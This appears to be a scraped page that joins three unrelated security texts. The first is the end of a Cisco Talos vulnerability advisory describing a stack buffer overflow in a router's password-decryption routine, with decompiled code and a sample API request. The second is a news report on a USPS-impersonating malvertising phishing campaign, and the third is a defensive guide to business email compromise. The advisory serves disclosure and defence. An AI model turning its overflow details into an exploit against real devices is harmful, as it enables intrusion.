            tmp_encrypted = blobmsg_get_string((char *)tb_inner[5]);                                        [2]
            security_decrypt_password(tmp_encrypted,new_password_decrypted,0x20);
            tmp_encrypted = blobmsg_get_string((char *)tb_inner[6]);                                        [3]
            security_decrypt_password(tmp_encrypted,confirm_password_decypted,0x20);
        }
        [...]
        }
    

The function uses the blobmsg structures for parsing the received data. Each entry in tb_inner represents a specific parameter in the request’s JSON data. Following an example of a JSON input that could be used for this API. Note that this request must be sent by an authenticated user.

    {
        "id": 60,
        "execute": 10,
        "core": "yruo_usermanagement",
        "function": "set",
        "values": [
            {
                "base": "security",
                "index": "index",
                "value": {
                    "old_password": "264ISdU4Pqdnyksk0N1ssQ==",
                    "new_password": "nW+tKhD05KjqWkOYjjz/xg==",
                    "confirm_password": "luDNLgAE+s9LzVRK0ed8/Ujh/E+mduZm5GBcH/UVt/c="
                }
            }
        ]
    }
    

The code at [1] parses the old_password parameter, the code at [2] parses new_password and the code at [3] parses confirm_password. All three parameters are AES-encrypted Base64-encoded. Indeed, the three parameters are passed to the security_decrypt_password function that will Base64 decode and AES decrypt them.

Following the libzebra.so.0.0.0’s security_decrypt_password function:

    void security_decrypt_password(byte *enc_string,char *dec_string,size_t out_len)
    
    {
        [... variable declaration ...]
    
        [... variable initialization ...]
        encoded_len = strlen(encoded_string);
        b64_decoded = base64_decode(encoded_string,encoded_len,&b64_decoded_len);
        decrypt_len = ys_aes_decrypt(b64_decoded,b64_decoded_len,AES_key,AES_IV,decrypted_tmp);             [4]
        decrypted_tmp[decrypt_len] = 0;
        [...]
        strncpy(dec_string,(char *)decrypted_tmp,out_len);                                                  [5]
        [...]
    }
    

The function takes three parameters: - enc_string the encoded input string - dec_string the output buffer, where the result will be written - out_len the len of the dec_string output buffer

This function will call the base64_decode function to Base64 decode the enc_string string. Then the ys_aes_decrypt function is called, at [4], and will decrypt the Base64 decoded string into the decrypted_tmp stack buffer. Eventually the strncpy at [5] is reached and, at most, out_len bytes are copied from decrypted_tmp to the dec_string buffer.

A stack-based buffer overflow exists during the execution of the ys_aes_decrypt function. Indeed, it will decrypt the arbitrarily long enc_string into the decrypted_tmp stack buffer that is fixed in length.

**VENDOR RESPONSE**

Since the maintainer of this software did not release a patch during the 90 day window specified in our policy, we have now decided to release the information regarding this vulnerability, to make users of the software aware of this problem. See Cisco’s Coordinated Vulnerability Disclosure Policy for more information: https://tools.cisco.com/security/center/resources/vendor\_vulnerability\_policy.html

**TIMELINE**

2023-02-14 - Initial Vendor Contact  
2023-02-21 - Vendor Disclosure  
2023-07-06 - Public Release

Discovered by Francesco Benvenuto of Cisco Talos.

CVE-2023-24018: TALOS-2023-1715 || Cisco Talos Intelligence Group

Attackers are leveraging well-executed brand impersonation in a Google ads malvertising effort that collects both credit card and bank details from victims.

Threat actors are impersonating the United States Post Office (USPS) in a legitimate-looing malvertising campaign that diverts victims to a phishing site to steal payment-card and banking credentials, researchers have found.

A malicious ad appears on Google searches for both mobile and desktop users looking to track packages via the USPS website, Jérôme Segura, director of threat intelligence at Malwarebytes Labs revealed in a blog post published July 5.

Though it looks "completely trustworthy," it isn't, he said. Instead, it redirects victims to a malicious site that first collects their address and credit card details, and then requires them to log into their bank account for verification, eventually stealing that info as well.

Segura cites Jesse Baumgartner, marketing director at Overt Operator, as the person who first discovered the campaign. Baumgartner shared screenshots of his experience attempting to track a package that led him onto a scam website in a LinkedIn post.

Malwarebytes Labs researchers set out to find the scam themselves and were immediately able to find the authentic-looking ad by performing a simple Google search for "usp tracking."

"Incredibly, the ad snippet contains the official website _and_ logo of the United States Postal Service and yet, the 'advertiser' whose verified legal name is Анастасія Іващенко (Ukraine), has nothing to do with it," Segura wrote.

Malwarebytes Labs has reported the campaign to Google and for its part, Cloudflare has already flagged the domains as phishing sites.

The campaign is yet another reminder that no matter how much awareness there is about malicious ads, links, and websites lurking on the Internet, threat actors still successfully wield oft-used tactics that abuse and impersonate trusted entities to trick and defraud Internet users, he said.

"Malvertising via search results remains an issue that affects both consumers and businesses who place their trust behind well-known brands," Segura wrote in the post.

A recent malvertising campaign in January also leveraged trusted brands by targeting users searching for Bitwarden and 1Password's Web vaults on Google. Threat actors used paid ads with links to cleverly spoofed sites for stealing credentials to the unsuspecting users' password vaults.

**Creating a Convincing Phishing Campaign**

Segura broke down how the actor or actors behind the USPS campaign managed to make it look so convincing to an end user. Essentially, they used tactics that can apply to various types of malvertising, he said.

There are two ad campaigns — one that targets mobile users, and the other targeting desktop users. While the ads appear to use the official USPS URL while redirecting victims to an attacker-controlled domain, the URLs shown in the ad "are pure visual artifacts that have nothing to do with what you actually click on," Segura explained.

"When you click on the ad, the first URL returned is Google's own which contains various metrics related to the ad, followed by the advertiser's own URL," he said. "Users never get to see this, and that is what makes malvertising via brand impersonation so dangerous."

Victims that click on the ad land on a website that asks them to enter their package tracking number, just as any page for this type of request would. However, upon submitting that information they receive an error informing them that their package couldn't be delivered "due to incomplete information in delivery address."

This might arouse suspicion, but likely not, as it's pretty typical for someone tracking a package to receive this type of notification, Segura noted. However, the next step of the attack — in which users are then asked to enter their full address again as well as submit their credit-card data to pay a small fee of 35 cents — should raise a red flag, he said.

It's at this point where victims enter the phishing site and attackers can steal their data, making the small fee "completely irrelevant," since giving up payment-card data — which can be used by the threat actor or resold on criminal markets — can result in much more damage to someone, Segura observed.

The final step of the attack is a request that victims enter credentials for their financial institution through a dynamic page that generates a template based on the credit-card info provided. For instance, if a person submits data for a Visa card associated with JP Morgan Bank, the page will ask the target to login to the JP Morgan page. Other banks and cards will result in different templates specific to the data provided, Segura said, similar to how banking Trojan overlays work.

**Recommendations to Thwart Malvertising**

As mentioned, malvertising is already a well-known method used by cybercriminals to steal user credentials. However, while awareness is key to avoid falling victim to a campaign, "training can only go so far" because of how legitimate modern malicious scams created by attackers look, Segura wrote.

One way to stop these campaigns before they reach end users is for search engines to apply stricter controls to combat the brand impersonation that threat actors have adopted so successfully, he said.

"When it comes to software downloads, one solution that comes to mind is reserving a placeholder for the official download page and never allowing an ad to take this spot, Segura wrote, noting that Microsoft's Bing already has applied policy with success.

Applying real-time browser protection that can disrupt the malvertising kill chain from the initial ad all the way to the payload — whether it be malware, phishing, or another type of scam — also can prevent and mitigate this type of attack.

Google Searches for 'USPS Package Tracking' Lead to Banking Theft

Email fraud is a confidence game that costs the economy billions. An effective defense takes technology and vigilance.

Last year the FBI registered over 21,000 complaints about business email fraud, with adjusted losses of over $2.7 billion. Today this line of attack shows no sign of slowing down. Business email compromise (BEC) techniques are increasingly sophisticated; cybercrime-as-a-service (CasS) has lowered the barrier to entry for threat actors while also making it easier to evade "impossible travel" alerts, among other safeguards. 

BEC is a confidence game. The technology aspects — links that download malware, take users to spoofed sites, or motivate a financial transaction — require social engineering to gain trust and motivate a click. 

What are threat actors looking for? Along with useful data like employee records, payroll information, and proprietary business records, BEC actors want to convince someone to fulfill a request for payment or funds transfer using messages that look legitimate, with logos and designs that are copies of the real thing. 

With BEC fast becoming a specialty of cybercriminals, security teams need to stay ahead of these evolving threats. Through a combination of technology, policy, and culture, enterprise security teams can help preempt attacks and mitigate the risks of email fraud. Let’s look at how BEC works, along with six key steps to mitigate the risk.

**As-a-Service Fuels BEC Growth**

Phishing-as-a-service providers make it easy for threat actors to produce effective, authentic-looking BEC campaigns without needing high-level tech skills of their own. Criminal platforms, such as BulletProftLink, go even further, selling templates, automated services, and even a hosting platform. This not only opens up BEC as an avenue to any criminal organization willing to pay, but it also accelerates the ramp-up time, making it fast and easy to launch new campaigns.

**Localizing the Threat**

Most importantly, in a new trend BEC threat actors are also purchasing residential IP addresses from residential IP services, enabling them to mask where their emails originate. Armed with localized address space to support their malicious activities (in addition to usernames and passwords), BEC attackers can obscure movements, circumvent "impossible travel" flags, and open a gateway to conduct further attacks. 

Impossible travel alerts indicate that a user account might be compromised. They flag physical restrictions that indicate a task is being performed in two locations, without the appropriate amount of time to travel from one location to the other. The specialization and consolidation of this sector of the cybercrime economy could escalate the use of residential IP addresses to evade detection.

**Defend Against BEC**

There are six key tips security teams can apply. Some can be implemented immediately, while others will require long-term thinking and reinforcement. 

*   **Inbox protection:** Configure mail systems to flag messages from outside of the enterprise. Enable alerts about unverified senders, and block senders who can’t be independently identified.

*   **Strong authentication:** Enabling multifactor authentication makes it harder for attackers to compromise user email.

*   **Secure email:** Cloud platforms with artificial intelligence and machine learning can provide enhanced protection, continuous updates, and centralized management of security policies.

*   **Identity and access management:** Control access to the organization's apps and data with zero trust and automated identity governance.

*   **Secure payments:** Replace emailed invoices with a system that authenticates payments and providers.

*   **Education and empowerment:** Regularly train and remind employees to think twice before clicking. Establish and enforce policies requiring employees to verify payment requests — not by clicking the link in the email, but with a phone call. Teach employees to take the initiative to stop BEC scams, and be sure to reinforce the consequences that a single mistake can cause.

Policy and governance are crucial to helping stop BEC. Security by default — for example, a domain-based message authentication, reporting, and conformance (DMARC) policy of "reject" — ensures that unauthenticated messages are rejected at the mail server. Updating policies for accounting, internal controls, payroll, and HR can help employees know how to handle inbound requests for access, money, or personal information, such as their Social Security numbers.

Thwarting BEC threat actors takes vigilance and an ongoing commitment. As their techniques get more sophisticated, their tricks become harder to spot. Putting the brakes on this con game takes the entire organization, from the C-suite and IT, compliance, and risk management teams to every business unit. Awareness, backed by policy and technology, is the crucial factor in a consistently strong defense.

Tag

#intel